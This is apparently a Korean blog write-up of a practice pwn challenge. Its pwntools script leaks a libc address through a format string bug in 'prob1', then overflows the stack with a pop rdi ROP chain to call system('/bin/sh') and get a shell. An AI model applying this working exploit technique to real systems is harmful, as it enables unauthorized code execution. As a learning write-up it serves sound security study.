이 파일을 포맷스트링 버그를 이용해서 쉘을 얻어보겠습니다.
일단 파일을 연결하고,
from pwn import *
context.log_level = 'debug'
e = ELF('./prob1')
r = process('./prob1')
libc = e.libc
IDA로 보면 printf(format); 부분에서 포맷스트링 버그가 나고 read(0, format, 0x100uLL); 에서 버퍼 오버플로우가 발생합니다.
printf(format)을 이용하여 libc base를 구하고, 버퍼 오버플로우로 system("/bin/sh")를 실행시켜 주겠습니다.
rbp-10h에 위치한 format이 스택의 최상단 rsp+0h에 존재하니 rbp와 rsp의 거리는 0x10임을 알 수 있습니다.
printf의 format은 rsi, rdx, rcx, r8, r9, rsp, rsp+8*n... 형식으로 가져오기 때문에
rbp를 먼저 구해보자면 5(rsi,rdx,rcx,r8,r9) + 0x10 / 8(rsp + 0x10) + 1 이 됩니다.
sfp가 있기 때문에 +1을 해주겠습니다.
payload = "%"+str(5 + (0x10 / 8) + 1 + 1)+"$p"
r.sendline(payload)
그러면 __libc_start_main+240의 주소가 출력될 것입니다. 그 값을 받아서 libc base를 구해주겠습니다.
__libc_start_main = int(r.recv(14), 16)
_base = __libc_start_main - libc.sym['__libc_start_main'] - 240
system = _base + libc.sym['system']
binsh = _base + libc.search("/bin/sh\x00").next()
그리고 pop rdi 가젯을 이용해 system("/bin/sh")를 실행시켜 주겠습니다.
prdi = 0x0000000000400803
payload = "A" * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)
r.sendline(payload)
r.interactive()
이렇게 하면 쉘이 실행될 것입니다.
728x90
'해킹 > writeup' 카테고리의 다른 글
DefCoN#22 #2 (0) | 2021.08.06 |
---|---|
22. format string bug - prob2 (0) | 2021.08.03 |
20. sung.pw - BaskinRobins31 (0) | 2021.08.01 |
19. sung.pw - rop64_v2 (0) | 2021.08.01 |
18. sung.pw - ropasaurusrex (0) | 2021.08.01 |